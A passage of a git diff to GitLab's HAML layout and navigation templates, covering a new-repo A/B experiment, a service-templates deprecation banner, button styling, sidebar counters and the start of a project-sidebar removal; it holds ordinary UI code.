+- icons = {'alert' => 'error', 'notice' => 'information-o', 'success' => 'check-circle'}
.flash-container.flash-container-page.sticky{ data: { qa_selector: 'flash_container' } }
- flash.each do |key, value|
- if key == 'toast' && value
diff --git a/app/views/layouts/_head.html.haml b/app/views/layouts/_head.html.haml
index 601598d65da..6694ad5968a 100644
--- a/app/views/layouts/_head.html.haml
+++ b/app/views/layouts/_head.html.haml
@@ -52,6 +52,8 @@
= stylesheet_link_tag 'performance_bar' if performance_bar_enabled?
+ -# Rendering this above Gon, to use in JS later
+ = render 'layouts/header/new_repo_experiment'
= Gon::Base.render_data(nonce: content_security_policy_nonce)
= javascript_include_tag locale_path unless I18n.locale == :en
diff --git a/app/views/layouts/_page.html.haml b/app/views/layouts/_page.html.haml
index 1f2fcd1c70b..c91d27e3ed1 100644
--- a/app/views/layouts/_page.html.haml
+++ b/app/views/layouts/_page.html.haml
@@ -11,6 +11,7 @@
= render "layouts/broadcast"
= render "layouts/header/read_only_banner"
= render "layouts/header/registration_enabled_callout"
+ = render "layouts/header/service_templates_deprecation_callout"
= render "layouts/nav/classification_level_banner"
= yield :flash_message
= render "shared/ping_consent"
diff --git a/app/views/layouts/_search.html.haml b/app/views/layouts/_search.html.haml
index c902c687378..2032d1e95a6 100644
--- a/app/views/layouts/_search.html.haml
+++ b/app/views/layouts/_search.html.haml
@@ -25,7 +25,7 @@
= hidden_field_tag :group_id, search_context.for_group? ? search_context.group.id : '', class: 'js-search-group-options', data: search_context.group_metadata
= hidden_field_tag :project_id, search_context.for_project? ? search_context.project.id : '', id: 'search_project_id', class: 'js-search-project-options', data: search_context.project_metadata
- - if search_context.for_project?
+ - if search_context.for_project? || search_context.for_group?
= hidden_field_tag :scope, search_context.scope
= hidden_field_tag :search_code, search_context.code_search?
diff --git a/app/views/layouts/errors.html.haml b/app/views/layouts/errors.html.haml
index 25fe4c898ca..57260ccedea 100644
--- a/app/views/layouts/errors.html.haml
+++ b/app/views/layouts/errors.html.haml
@@ -20,4 +20,10 @@
history.back();
});
}
+
+ // We do not have rails_ujs here, so we're manually making a link trigger a form submit.
+ document.getElementById('sign_out_link').addEventListener('click', function(e) {
+ e.preventDefault();
+ document.getElementById('sign_out_form').submit();
+ });
}());
diff --git a/app/views/layouts/group_settings.html.haml b/app/views/layouts/group_settings.html.haml
index 9db78ec58e4..c4e5e811280 100644
--- a/app/views/layouts/group_settings.html.haml
+++ b/app/views/layouts/group_settings.html.haml
@@ -1,4 +1,5 @@
- page_title _("Settings")
- nav "group"
+- enable_search_settings locals: { container_class: 'gl-my-5' }
= render template: "layouts/group"
diff --git a/app/views/layouts/header/_current_user_dropdown.html.haml b/app/views/layouts/header/_current_user_dropdown.html.haml
index 5ac0db4137f..0251a8b6d7c 100644
--- a/app/views/layouts/header/_current_user_dropdown.html.haml
+++ b/app/views/layouts/header/_current_user_dropdown.html.haml
@@ -11,7 +11,7 @@
%li.divider
- if can?(current_user, :update_user_status, current_user)
%li
- %button.btn.menu-item.js-set-status-modal-trigger{ type: 'button' }
+ %button.gl-button.btn.btn-link.menu-item.js-set-status-modal-trigger{ type: 'button' }
- if show_status_emoji?(current_user.status) || user_status_set_to_busy?(current_user.status)
= s_('SetStatusModal|Edit status')
- else
diff --git a/app/views/layouts/header/_default.html.haml b/app/views/layouts/header/_default.html.haml
index c54ad23c094..481e83c9701 100644
--- a/app/views/layouts/header/_default.html.haml
+++ b/app/views/layouts/header/_default.html.haml
@@ -2,7 +2,7 @@
- user_status_data = user_status_properties(current_user)
%header.navbar.navbar-gitlab.navbar-expand-sm.js-navbar{ data: { qa_selector: 'navbar' } }
- %a.sr-only.gl-accessibility{ href: "#content-body", tabindex: "1" } Skip to content
+ %a.gl-sr-only.gl-accessibility{ href: "#content-body" } Skip to content
.container-fluid
.header-content
.title-container
@@ -19,10 +19,13 @@
%span.gl-badge.gl-bg-green-500.gl-text-white.gl-rounded-pill.gl-font-weight-bold.gl-py-1
= _('Next')
- - if current_user
- = render "layouts/nav/dashboard"
+ - if Feature.enabled?(:combined_menu, current_user, default_enabled: :yaml)
+ = render "layouts/nav/combined_menu"
- else
- = render "layouts/nav/explore"
+ - if current_user
+ = render "layouts/nav/dashboard"
+ - else
+ = render "layouts/nav/explore"
.navbar-collapse.collapse
%ul.nav.navbar-nav
@@ -110,14 +113,15 @@
%li.nav-item
%div
- sign_in_text = allow_signup? ? _('Sign in / Register') : _('Sign in')
- = link_to sign_in_text, new_session_path(:user, redirect_to_referer: 'yes'), class: 'btn btn-sign-in'
+ = link_to sign_in_text, new_session_path(:user, redirect_to_referer: 'yes'), class: 'gl-button btn btn-default btn-sign-in'
%button.navbar-toggler.d-block.d-sm-none{ type: 'button' }
%span.sr-only= _('Toggle navigation')
= sprite_icon('ellipsis_h', size: 12, css_class: 'more-icon js-navbar-toggle-right')
= sprite_icon('close', size: 12, css_class: 'close-icon js-navbar-toggle-left')
-#whats-new-app{ data: { storage_key: whats_new_storage_key, versions: whats_new_versions, gitlab_dot_com: Gitlab.dev_env_org_or_com? } }
+- if display_whats_new?
+ #whats-new-app{ data: { version_digest: whats_new_version_digest } }
- if can?(current_user, :update_user_status, current_user)
.js-set-status-modal-wrapper{ data: user_status_data }
diff --git a/app/views/layouts/header/_new_dropdown.haml b/app/views/layouts/header/_new_dropdown.haml
deleted file mode 100644
index 1fc9831d271..00000000000
--- a/app/views/layouts/header/_new_dropdown.haml
+++ /dev/null
@@ -1,45 +0,0 @@
-%li.header-new.dropdown{ data: { track_label: "new_dropdown", track_event: "click_dropdown", track_value: "" } }
- = link_to new_project_path, class: "header-new-dropdown-toggle has-tooltip qa-new-menu-toggle", id: "js-onboarding-new-project-link", title: _("New..."), ref: 'tooltip', aria: { label: _("New...") }, data: { toggle: 'dropdown', placement: 'bottom', container: 'body', display: 'static' } do
- = sprite_icon('plus-square')
- = sprite_icon('chevron-down', css_class: 'caret-down')
- .dropdown-menu.dropdown-menu-right.dropdown-extended-height
- %ul
- - if @group&.persisted?
- - create_group_project = can?(current_user, :create_projects, @group)
- - create_group_subgroup = can?(current_user, :create_subgroup, @group)
-
- - if create_group_project || create_group_subgroup
- %li.dropdown-bold-header
- = _('This group')
- - if create_group_project
- %li= link_to _('New project'), new_project_path(namespace_id: @group.id)
- - if create_group_subgroup
- %li= link_to _('New subgroup'), new_group_path(parent_id: @group.id)
- = render_if_exists 'layouts/header/create_epic_new_dropdown_item'
- = render 'layouts/header/group_invite_members_new_dropdown_item'
- %li.divider
- %li.dropdown-bold-header GitLab
-
- - if @project&.persisted?
- - create_project_issue = show_new_issue_link?(@project)
- - merge_project = merge_request_source_project_for_project(@project)
- - create_project_snippet = can?(current_user, :create_snippet, @project)
-
- - if create_project_issue || merge_project || create_project_snippet
- %li.dropdown-bold-header
- = _('This project')
- - if create_project_issue
- %li= link_to _('New issue'), new_project_issue_path(@project)
- - if merge_project
- %li= link_to _('New merge request'), project_new_merge_request_path(merge_project)
- - if create_project_snippet
- %li= link_to _('New snippet'), new_project_snippet_path(@project)
- = render 'layouts/header/project_invite_members_new_dropdown_item'
- %li.divider
- %li.dropdown-bold-header GitLab
- - if current_user.can_create_project?
- %li= link_to _('New project'), new_project_path, class: 'qa-global-new-project-link'
- - if current_user.can_create_group?
- %li= link_to _('New group'), new_group_path
- - if current_user.can?(:create_snippet)
- %li= link_to _('New snippet'), new_snippet_path, class: 'qa-global-new-snippet-link'
diff --git a/app/views/layouts/header/_new_dropdown.html.haml b/app/views/layouts/header/_new_dropdown.html.haml
new file mode 100644
index 00000000000..7b49e6f716e
--- /dev/null
+++ b/app/views/layouts/header/_new_dropdown.html.haml
@@ -0,0 +1,44 @@
+%li.header-new.dropdown{ data: { track_label: "new_dropdown", track_event: "click_dropdown", track_experiment: "new_repo" } }
+ = link_to new_project_path, class: "header-new-dropdown-toggle has-tooltip qa-new-menu-toggle", id: "js-onboarding-new-project-link", title: _("New..."), ref: 'tooltip', aria: { label: _("New...") }, data: { toggle: 'dropdown', placement: 'bottom', container: 'body', display: 'static' } do
+ = sprite_icon('plus-square')
+ = sprite_icon('chevron-down', css_class: 'caret-down')
+ .dropdown-menu.dropdown-menu-right.dropdown-extended-height
+ %ul
+ - if @group&.persisted?
+ - create_group_project = can?(current_user, :create_projects, @group)
+ - create_group_subgroup = can?(current_user, :create_subgroup, @group)
+
+ - if create_group_project || create_group_subgroup
+ %li.dropdown-bold-header
+ = _('This group')
+ - if create_group_project
+ %li= link_to _('New project'), new_project_path(namespace_id: @group.id)
+ - if create_group_subgroup
+ %li= link_to _('New subgroup'), new_group_path(parent_id: @group.id)
+ = render_if_exists 'layouts/header/create_epic_new_dropdown_item'
+ = render 'layouts/header/group_invite_members_new_dropdown_item'
+ %li.divider
+ %li.dropdown-bold-header GitLab
+
+ - if @project&.persisted?
+ - create_project_issue = show_new_issue_link?(@project)
+ - merge_project = merge_request_source_project_for_project(@project)
+ - create_project_snippet = can?(current_user, :create_snippet, @project)
+
+ - if create_project_issue || merge_project || create_project_snippet
+ %li.dropdown-bold-header
+ = _('This project')
+ - if create_project_issue
+ %li= link_to _('New issue'), new_project_issue_path(@project)
+ - if merge_project
+ %li= link_to _('New merge request'), project_new_merge_request_path(merge_project)
+ - if create_project_snippet
+ %li= link_to _('New snippet'), new_project_snippet_path(@project)
+ = render 'layouts/header/project_invite_members_new_dropdown_item'
+ %li.divider
+ %li.dropdown-bold-header GitLab
+ = content_for :new_repo_experiment
+ - if current_user.can_create_group?
+ %li= link_to _('New group'), new_group_path
+ - if current_user.can?(:create_snippet)
+ %li= link_to _('New snippet'), new_snippet_path, class: 'qa-global-new-snippet-link'
diff --git a/app/views/layouts/header/_new_repo_experiment.html.haml b/app/views/layouts/header/_new_repo_experiment.html.haml
new file mode 100644
index 00000000000..73f960844cb
--- /dev/null
+++ b/app/views/layouts/header/_new_repo_experiment.html.haml
@@ -0,0 +1,7 @@
+- content_for :new_repo_experiment do
+ - if current_user&.can_create_project?
+ - experiment(:new_repo, user: current_user) do |e|
+ - e.use do
+ %li= link_to _('New project'), new_project_path, class: 'qa-global-new-project-link', data: { track_experiment: 'new_repo', track_event: 'click_link', track_label: 'plus_menu_dropdown' }
+ - e.try do
+ %li= link_to _('New project/repository'), new_project_path, class: 'qa-global-new-project-link', data: { track_experiment: 'new_repo', track_event: 'click_link', track_label: 'plus_menu_dropdown' }
diff --git a/app/views/layouts/header/_read_only_banner.html.haml b/app/views/layouts/header/_read_only_banner.html.haml
index f3d563c362f..86c1d34c0b7 100644
--- a/app/views/layouts/header/_read_only_banner.html.haml
+++ b/app/views/layouts/header/_read_only_banner.html.haml
@@ -2,6 +2,6 @@
- if message
.flash-container.flash-container-page
.flash-notice
- %div{ class: (container_class) }
+ %div{ class: container_class }
%span
= message
diff --git a/app/views/layouts/header/_service_templates_deprecation_callout.html.haml b/app/views/layouts/header/_service_templates_deprecation_callout.html.haml
new file mode 100644
index 00000000000..056d4426d5a
--- /dev/null
+++ b/app/views/layouts/header/_service_templates_deprecation_callout.html.haml
@@ -0,0 +1,21 @@
+- return unless show_service_templates_deprecated_callout?
+
+- doc_link_start = "<a href=\"#{integrations_help_page_path}\" target='_blank' rel='noopener noreferrer'>".html_safe
+- settings_link_start = "<a href=\"#{integrations_admin_application_settings_path}\">".html_safe
+
+%div{ class: [container_class, @content_class, 'gl-pt-5!'] }
+ .gl-alert.gl-alert-warning.js-service-templates-deprecated-callout{ role: 'alert', data: { feature_id: UserCalloutsHelper::SERVICE_TEMPLATES_DEPRECATED_CALLOUT, dismiss_endpoint: user_callouts_path } }
+ = sprite_icon('warning', size: 16, css_class: 'gl-alert-icon')
+ %button.gl-alert-dismiss.js-close{ type: 'button', aria: { label: _('Close') }, data: { testid: 'close-service-templates-deprecated-callout' } }
+ = sprite_icon('close', size: 16)
+ .gl-alert-title
+ = s_('AdminSettings|Service templates are deprecated and will be removed in GitLab 14.0.')
+ .gl-alert-body
+ = html_escape_once(s_('AdminSettings|You should migrate to %{doc_link_start}Project integration management%{link_end}, available at %{settings_link_start}Settings &gt; Integrations.%{link_end}')).html_safe % { doc_link_start: doc_link_start, settings_link_start: settings_link_start, link_end: '</a>'.html_safe }
+ .gl-alert-actions
+ = link_to admin_application_settings_services_path, class: 'btn gl-alert-action btn-info btn-md gl-button' do
+ %span.gl-button-text
+ = s_('AdminSettings|See affected service templates')
+ = link_to "https://gitlab.com/gitlab-org/gitlab/-/issues/325905", class: 'btn gl-alert-action btn-default btn-md gl-button', target: '_blank', rel: 'noopener noreferrer' do
+ %span.gl-button-text
+ = _('Leave feedback')
diff --git a/app/views/layouts/header/_whats_new_dropdown_item.html.haml b/app/views/layouts/header/_whats_new_dropdown_item.html.haml
index f79b741ced0..9fe98a54aae 100644
--- a/app/views/layouts/header/_whats_new_dropdown_item.html.haml
+++ b/app/views/layouts/header/_whats_new_dropdown_item.html.haml
@@ -1,5 +1,6 @@
-%li
- %button.gl-justify-content-space-between.gl-align-items-center.js-whats-new-trigger{ type: 'button', data: { storage_key: whats_new_storage_key }, class: 'gl-display-flex!' }
- = _("What's new")
- %span.js-whats-new-notification-count.whats-new-notification-count
- = whats_new_most_recent_release_items_count
+- if display_whats_new?
+ %li
+ %button.gl-justify-content-space-between.gl-align-items-center.js-whats-new-trigger{ type: 'button', class: 'gl-display-flex!' }
+ = _("What's new")
+ %span.js-whats-new-notification-count.whats-new-notification-count
+ = whats_new_most_recent_release_items_count
diff --git a/app/views/layouts/nav/_breadcrumbs.html.haml b/app/views/layouts/nav/_breadcrumbs.html.haml
index aeeffb6f4b6..c111714f552 100644
--- a/app/views/layouts/nav/_breadcrumbs.html.haml
+++ b/app/views/layouts/nav/_breadcrumbs.html.haml
@@ -9,7 +9,7 @@
= button_tag class: 'toggle-mobile-nav', type: 'button' do
%span.sr-only= _("Open sidebar")
= sprite_icon('hamburger', size: 18)
- .breadcrumbs-links.js-title-container{ data: { qa_selector: 'breadcrumb_links_content' } }
+ .breadcrumbs-links{ data: { testid: 'breadcrumb-links', qa_selector: 'breadcrumb_links_content' } }
%ul.list-unstyled.breadcrumbs-list.js-breadcrumbs-list
- unless hide_top_links
= header_title
@@ -21,7 +21,7 @@
%li
%h2.breadcrumbs-sub-title
= link_to @breadcrumb_title, breadcrumb_title_link
- %script{ type:'application/ld+json' }
+ %script{ type: 'application/ld+json' }
:plain
#{schema_breadcrumb_json}
= yield :header_content
diff --git a/app/views/layouts/nav/_combined_menu.html.haml b/app/views/layouts/nav/_combined_menu.html.haml
new file mode 100644
index 00000000000..db5a7012e8f
--- /dev/null
+++ b/app/views/layouts/nav/_combined_menu.html.haml
@@ -0,0 +1,3 @@
+%button{ type: 'button', data: { toggle: "dropdown" } }
+ = sprite_icon('ellipsis_v')
+ = _('Projects')
diff --git a/app/views/layouts/nav/_dashboard.html.haml b/app/views/layouts/nav/_dashboard.html.haml
index 7cbef6b00b1..42e3ae7e717 100644
--- a/app/views/layouts/nav/_dashboard.html.haml
+++ b/app/views/layouts/nav/_dashboard.html.haml
@@ -2,7 +2,7 @@
-# https://gitlab.com/gitlab-org/gitlab-foss/issues/49713 for more information.
%ul.list-unstyled.navbar-sub-nav
- if dashboard_nav_link?(:projects)
- = nav_link(path: ['root#index', 'projects#trending', 'projects#starred', 'dashboard/projects#index'], html_options: { id: 'nav-projects-dropdown', class: "home dropdown header-projects qa-projects-dropdown", data: { track_label: "projects_dropdown", track_event: "click_dropdown" } }) do
+ = nav_link(path: ['root#index', 'projects#trending', 'projects#starred', 'dashboard/projects#index'], html_options: { id: 'nav-projects-dropdown', class: "home dropdown header-projects qa-projects-dropdown", data: { track_label: "projects_dropdown", track_event: "click_dropdown", track_experiment: "new_repo" } }) do
%button{ type: 'button', data: { toggle: "dropdown" } }
= _('Projects')
= sprite_icon('chevron-down', css_class: 'caret-down')
@@ -50,7 +50,7 @@
= nav_link(controller: 'admin/dashboard') do
= link_to admin_root_path, class: 'admin-icon qa-admin-area-link d-xl-none' do
= _('Admin Area')
- - if Feature.enabled?(:user_mode_in_session)
+ - if Gitlab::CurrentSettings.admin_mode
- if header_link?(:admin_mode)
= nav_link(controller: 'admin/sessions') do
= link_to destroy_admin_session_path, method: :post, class: 'd-lg-none lock-open-icon' do
@@ -69,7 +69,7 @@
= link_to admin_root_path, class: 'admin-icon qa-admin-area-link', title: _('Admin Area'), aria: { label: _('Admin Area') }, data: {toggle: 'tooltip', placement: 'bottom', container: 'body'} do
= sprite_icon('admin', size: 18)
- - if Feature.enabled?(:user_mode_in_session)
+ - if Gitlab::CurrentSettings.admin_mode
- if header_link?(:admin_mode)
= nav_link(controller: 'admin/sessions', html_options: { class: "d-none d-lg-block"}) do
= link_to destroy_admin_session_path, method: :post, title: _('Leave Admin Mode'), aria: { label: _('Leave Admin Mode') }, data: { toggle: 'tooltip', placement: 'bottom', container: 'body' } do
diff --git a/app/views/layouts/nav/projects_dropdown/_show.html.haml b/app/views/layouts/nav/projects_dropdown/_show.html.haml
index d8bf64fab64..b95a9cdb00f 100644
--- a/app/views/layouts/nav/projects_dropdown/_show.html.haml
+++ b/app/views/layouts/nav/projects_dropdown/_show.html.haml
@@ -11,14 +11,21 @@
= nav_link(path: 'projects#trending') do
= link_to explore_root_path, data: { track_label: "projects_dropdown_explore_projects", track_event: "click_link" } do
= _('Explore projects')
- = nav_link(path: 'projects/new#blank_project',
- html_options: { class: 'gl-border-0 gl-border-t-1 gl-border-solid gl-border-gray-100' },
- data: { track_label: "projects_dropdown_blank_project", track_event: "click_link" }) do
- = link_to new_project_path(anchor: 'blank_project') do
- = _('Create blank project')
- = nav_link(path: 'projects/new#import_project') do
- = link_to new_project_path(anchor: 'import_project'), data: { track_label: "projects_dropdown_import_project", track_event: "click_link" } do
- = _('Import project')
+ - experiment(:new_repo, user: current_user) do |e|
+ - e.use do
+ = nav_link(path: 'projects/new#blank_project', html_options: { class: 'gl-border-0 gl-border-t-1 gl-border-solid gl-border-gray-100' }) do
+ = link_to new_project_path(anchor: 'blank_project'), data: { track_label: "projects_dropdown_blank_project", track_event: "click_link", track_experiment: "new_repo" } do
+ = _('Create blank project')
+ = nav_link(path: 'projects/new#import_project') do
+ = link_to new_project_path(anchor: 'import_project'), data: { track_label: "projects_dropdown_import_project", track_event: "click_link", track_experiment: "new_repo" } do
+ = _('Import project')
+ - e.try do
+ = nav_link(path: 'projects/new#blank_project', html_options: { class: 'gl-border-0 gl-border-t-1 gl-border-solid gl-border-gray-100' }) do
+ = link_to new_project_path(anchor: 'blank_project'), data: { track_label: "projects_dropdown_blank_project", track_event: "click_link", track_experiment: "new_repo" } do
+ = _('Create blank project/repository')
+ = nav_link(path: 'projects/new#import_project') do
+ = link_to new_project_path(anchor: 'import_project'), data: { track_label: "projects_dropdown_import_project", track_event: "click_link", track_experiment: "new_repo" } do
+ = _('Import project/repository')
= nav_link(path: 'projects/new#create_from_template') do
= link_to new_project_path(anchor: 'create_from_template'), data: { track_label: "projects_dropdown_create_from_template", track_event: "click_link" } do
= _('Create from template')
diff --git a/app/views/layouts/nav/sidebar/_group.html.haml b/app/views/layouts/nav/sidebar/_group.html.haml
index 7350db64462..41bec996de1 100644
--- a/app/views/layouts/nav/sidebar/_group.html.haml
+++ b/app/views/layouts/nav/sidebar/_group.html.haml
@@ -1,9 +1,9 @@
-- issues_count = group_open_issues_count(@group)
-- merge_requests_count = group_merge_requests_count(state: 'opened')
+- issues_count = cached_issuables_count(@group, type: :issues)
+- merge_requests_count = group_open_merge_requests_count(@group)
- aside_title = @group.subgroup? ? _('Subgroup navigation') : _('Group navigation')
- overview_title = @group.subgroup? ? _('Subgroup overview') : _('Group overview')
-%aside.nav-sidebar{ class: ("sidebar-collapsed-desktop" if collapsed_sidebar?), **tracking_attrs('groups_side_navigation', 'render', 'groups_side_navigation'), 'aria-label': aside_title }
+%aside.nav-sidebar{ class: ("sidebar-collapsed-desktop" if collapsed_sidebar?), **sidebar_tracking_attributes_by_object(@group), 'aria-label': aside_title }
.nav-sidebar-inner-scroll
.context-header
= link_to group_path(@group), title: @group.name do
@@ -91,14 +91,14 @@
.nav-icon-container
= sprite_icon('git-merge')
%span.nav-item-name
- = _('Merge Requests')
- %span.badge.badge-pill.count= number_with_delimiter(merge_requests_count)
+ = _('Merge requests')
+ %span.badge.badge-pill.count= merge_requests_count
%ul.sidebar-sub-level-items.is-fly-out-only
= nav_link(path: 'groups#merge_requests', html_options: { class: "fly-out-top-item" } ) do
= link_to merge_requests_group_path(@group) do
%strong.fly-out-top-item-name
- = _('Merge Requests')
- %span.badge.badge-pill.count.merge_counter.js-merge-counter.fly-out-badge= number_with_delimiter(merge_requests_count)
+ = _('Merge requests')
+ %span.badge.badge-pill.count.merge_counter.js-merge-counter.fly-out-badge= merge_requests_count
= render_if_exists "layouts/nav/ee/security_link" # EE-specific
@@ -145,7 +145,7 @@
%span.nav-item-name.qa-group-settings-item
= _('Settings')
%ul.sidebar-sub-level-items.qa-group-sidebar-submenu{ data: { testid: 'group-settings-menu' } }
- = nav_link(path: %w[groups#projects groups#edit badges#index ci_cd#show], html_options: { class: "fly-out-top-item" } ) do
+ = nav_link(path: %w[groups#projects groups#edit badges#index ci_cd#show groups/applications#index], html_options: { class: "fly-out-top-item" } ) do
= link_to edit_group_path(@group) do
%strong.fly-out-top-item-name
= _('Settings')
@@ -175,6 +175,11 @@
%span
= _('CI/CD')
+ = nav_link(controller: :applications) do
+ = link_to group_settings_applications_path(@group), title: _('Applications') do
+ %span
+ = _('Applications')
+
= render 'groups/sidebar/packages_settings'
= render_if_exists "groups/ee/settings_nav"
diff --git a/app/views/layouts/nav/sidebar/_profile.html.haml b/app/views/layouts/nav/sidebar/_profile.html.haml
index 4ae81d69c16..dda5e6b9636 100644
--- a/app/views/layouts/nav/sidebar/_profile.html.haml
+++ b/app/views/layouts/nav/sidebar/_profile.html.haml
@@ -1,4 +1,4 @@
-%aside.nav-sidebar{ class: ("sidebar-collapsed-desktop" if collapsed_sidebar?), **tracking_attrs('user_side_navigation', 'render', 'user_side_navigation'), 'aria-label': _('User settings') }
+%aside.nav-sidebar{ class: ("sidebar-collapsed-desktop" if collapsed_sidebar?), **sidebar_tracking_attributes_by_object(current_user), 'aria-label': _('User settings') }
.nav-sidebar-inner-scroll
.context-header
= link_to profile_path, title: _('Profile Settings') do
diff --git a/app/views/layouts/nav/sidebar/_project.html.haml b/app/views/layouts/nav/sidebar/_project.html.haml
index 4c331dbd69d..5cb109cf275 100644
--- a/app/views/layouts/nav/sidebar/_project.html.haml
+++ b/app/views/layouts/nav/sidebar/_project.html.haml
@@ -1,469 +1,3 @@
-%aside.nav-sidebar{ class: ("sidebar-collapsed-desktop" if collapsed_sidebar?), **tracking_attrs('projects_side_navigation', 'render', 'projects_side_navigation'), 'aria-label': _('Project navigation') }
- .nav-sidebar-inner-scroll
- .context-header
- = link_to project_path(@project), title: @project.name do
- .avatar-container.rect-avatar.s40.project-avatar
- = project_icon(@project, alt: @project.name, class: 'avatar s40 avatar-tile', width: 40, height: 40)
- .sidebar-context-title
- = @project.name
- %ul.sidebar-top-level-items.qa-project-sidebar
- = nav_link(path: sidebar_projects_paths, html_options: { class: 'home' }) do
- = link_to project_path(@project), class: 'shortcuts-project rspec-project-link', data: { qa_selector: 'project_link' } do
- .nav-icon-container
- = sprite_icon('home')
- %span.nav-item-name
- = _('Project overview')
-
- %ul.sidebar-sub-level-items
- = nav_link(path: 'projects#show', html_options: { class: "fly-out-top-item" } ) do
- = link_to project_path(@project) do
- %strong.fly-out-top-item-name
- = _('Project overview')
- %li.divider.fly-out-top-item
- = nav_link(path: 'projects#show') do
- = link_to project_path(@project), title: _('Project details'), class: 'shortcuts-project' do
- %span= _('Details')
-
- = nav_link(path: 'projects#activity') do
- = link_to activity_project_path(@project), title: _('Activity'), class: 'shortcuts-project-activity', data: { qa_selector: 'activity_link' } do
- %span= _('Activity')
-
- - if project_nav_tab?(:releases)
- = nav_link(controller: :releases) do
- = link_to project_releases_path(@project), title: _('Releases'), class: 'shortcuts-project-releases' do
- %span= _('Releases')
-
- - if project_nav_tab? :learn_gitlab
- = nav_link(controller: :learn_gitlab, html_options: { class: 'home' }) do
- = link_to project_learn_gitlab_path(@project) do
- .nav-icon-container
- = sprite_icon('home')
- %span.nav-item-name
- = _('Learn GitLab')
-
- - if project_nav_tab? :files
- = nav_link(controller: sidebar_repository_paths, unless: -> { current_path?('projects/graphs#charts') }) do
- = link_to project_tree_path(@project), class: 'shortcuts-tree', data: { qa_selector: "repository_link" } do
- .nav-icon-container
- = sprite_icon('doc-text')
- %span.nav-item-name#js-onboarding-repo-link
- = _('Repository')
-
- %ul.sidebar-sub-level-items
- = nav_link(controller: sidebar_repository_paths, html_options: { class: "fly-out-top-item" } ) do
- = link_to project_tree_path(@project) do
- %strong.fly-out-top-item-name
- = _('Repository')
- %li.divider.fly-out-top-item
- = nav_link(controller: %w(tree blob blame edit_tree new_tree find_file)) do
- = link_to project_tree_path(@project) do
- = _('Files')
-
- = nav_link(controller: [:commit, :commits]) do
- = link_to project_commits_path(@project, current_ref), id: 'js-onboarding-commits-link' do
- = _('Commits')
-
- = nav_link(html_options: {class: branches_tab_class}) do
- = link_to project_branches_path(@project), data: { qa_selector: "branches_link" }, id: 'js-onboarding-branches-link' do
- = _('Branches')
-
- = nav_link(controller: [:tags]) do
- = link_to project_tags_path(@project), data: { qa_selector: "tags_link" } do
- = _('Tags')
-
- = nav_link(path: 'graphs#show') do
- = link_to project_graph_path(@project, current_ref) do
- = _('Contributors')
-
- = nav_link(controller: %w(network)) do
- = link_to project_network_path(@project, current_ref) do
- = _('Graph')
-
- = nav_link(controller: :compare) do
- = link_to project_compare_index_path(@project, from: @repository.root_ref, to: current_ref) do
- = _('Compare')
-
- = render_if_exists 'projects/sidebar/repository_locked_files'
-
- - if project_nav_tab? :issues
- = nav_link(controller: @project.issues_enabled? ? ['projects/issues', :labels, :milestones, :boards, :iterations] : 'projects/issues') do
- = link_to project_issues_path(@project), class: 'shortcuts-issues qa-issues-item' do
- .nav-icon-container
- = sprite_icon('issues')
- %span.nav-item-name#js-onboarding-issues-link
- = _('Issues')
- - if @project.issues_enabled?
- %span.badge.badge-pill.count.issue_counter
- = number_with_delimiter(@project.open_issues_count(current_user))
-
- %ul.sidebar-sub-level-items
- = nav_link(controller: 'projects/issues', action: :index, html_options: { class: "fly-out-top-item" } ) do
- = link_to project_issues_path(@project) do
- %strong.fly-out-top-item-name
- = _('Issues')
- - if @project.issues_enabled?
- %span.badge.badge-pill.count.issue_counter.fly-out-badge
- = number_with_delimiter(@project.open_issues_count(current_user))
- %li.divider.fly-out-top-item
- = nav_link(controller: :issues, action: :index) do
- = link_to project_issues_path(@project), title: _('Issues') do
- %span
- = _('List')
-
- = nav_link(controller: :boards) do
- = link_to project_boards_path(@project), title: boards_link_text, data: { qa_selector: "issue_boards_link" } do
- %span
- = boards_link_text
-
- = nav_link(controller: :labels) do
- = link_to project_labels_path(@project), title: _('Labels'), class: 'qa-labels-link' do
- %span
- = _('Labels')
-
- = render 'projects/sidebar/issues_service_desk'
-
- = nav_link(controller: :milestones) do
- = link_to project_milestones_path(@project), title: _('Milestones'), class: 'qa-milestones-link' do
- %span
- = _('Milestones')
-
- = render_if_exists 'layouts/nav/sidebar/project_iterations_link'
-
- - if project_nav_tab?(:external_issue_tracker)
- - issue_tracker = @project.external_issue_tracker
- - if issue_tracker.is_a?(JiraService) && project_jira_issues_integration?
- = render_if_exists 'layouts/nav/sidebar/project_jira_issues_link', issue_tracker: issue_tracker
- - else
- = nav_link do
- = link_to issue_tracker.issue_tracker_path, target: '_blank', rel: 'noopener noreferrer', class: 'shortcuts-external_tracker' do
- .nav-icon-container
- = sprite_icon('external-link')
- %span.nav-item-name
- = issue_tracker.title
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(html_options: { class: "fly-out-top-item" } ) do
- = link_to issue_tracker.issue_tracker_path, target: '_blank', rel: 'noopener noreferrer' do
- %strong.fly-out-top-item-name
- = issue_tracker.title
-
- - if (project_nav_tab? :labels) && !@project.issues_enabled?
- = nav_link(controller: [:labels]) do
- = link_to project_labels_path(@project), title: _('Labels'), class: 'shortcuts-labels qa-labels-items' do
- .nav-icon-container
- = sprite_icon('label')
- %span.nav-item-name#js-onboarding-labels-link
- = _('Labels')
-
- - if project_nav_tab? :merge_requests
- = nav_link(controller: @project.issues_enabled? ? :merge_requests : [:merge_requests, :milestones]) do
- = link_to project_merge_requests_path(@project), class: 'shortcuts-merge_requests', data: { qa_selector: 'merge_requests_link' } do
- .nav-icon-container
- = sprite_icon('git-merge')
- %span.nav-item-name#js-onboarding-mr-link
- = _('Merge Requests')
- %span.badge.badge-pill.count.merge_counter.js-merge-counter
- = number_with_delimiter(@project.open_merge_requests_count)
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(controller: :merge_requests, html_options: { class: "fly-out-top-item" } ) do
- = link_to project_merge_requests_path(@project) do
- %strong.fly-out-top-item-name
- = _('Merge Requests')
- %span.badge.badge-pill.count.merge_counter.js-merge-counter.fly-out-badge
- = number_with_delimiter(@project.open_merge_requests_count)
-
- = render_if_exists "layouts/nav/requirements_link", project: @project
-
- - if project_nav_tab? :pipelines
- = nav_link(controller: [:pipelines, :builds, :jobs, :pipeline_schedules, :artifacts, :test_cases, :pipeline_editor], unless: -> { current_path?('projects/pipelines#charts') }) do
- = link_to project_pipelines_path(@project), class: 'shortcuts-pipelines qa-link-pipelines rspec-link-pipelines', data: { qa_selector: 'ci_cd_link' } do
- .nav-icon-container
- = sprite_icon('rocket')
- %span.nav-item-name#js-onboarding-pipelines-link
- = _('CI/CD')
-
- %ul.sidebar-sub-level-items
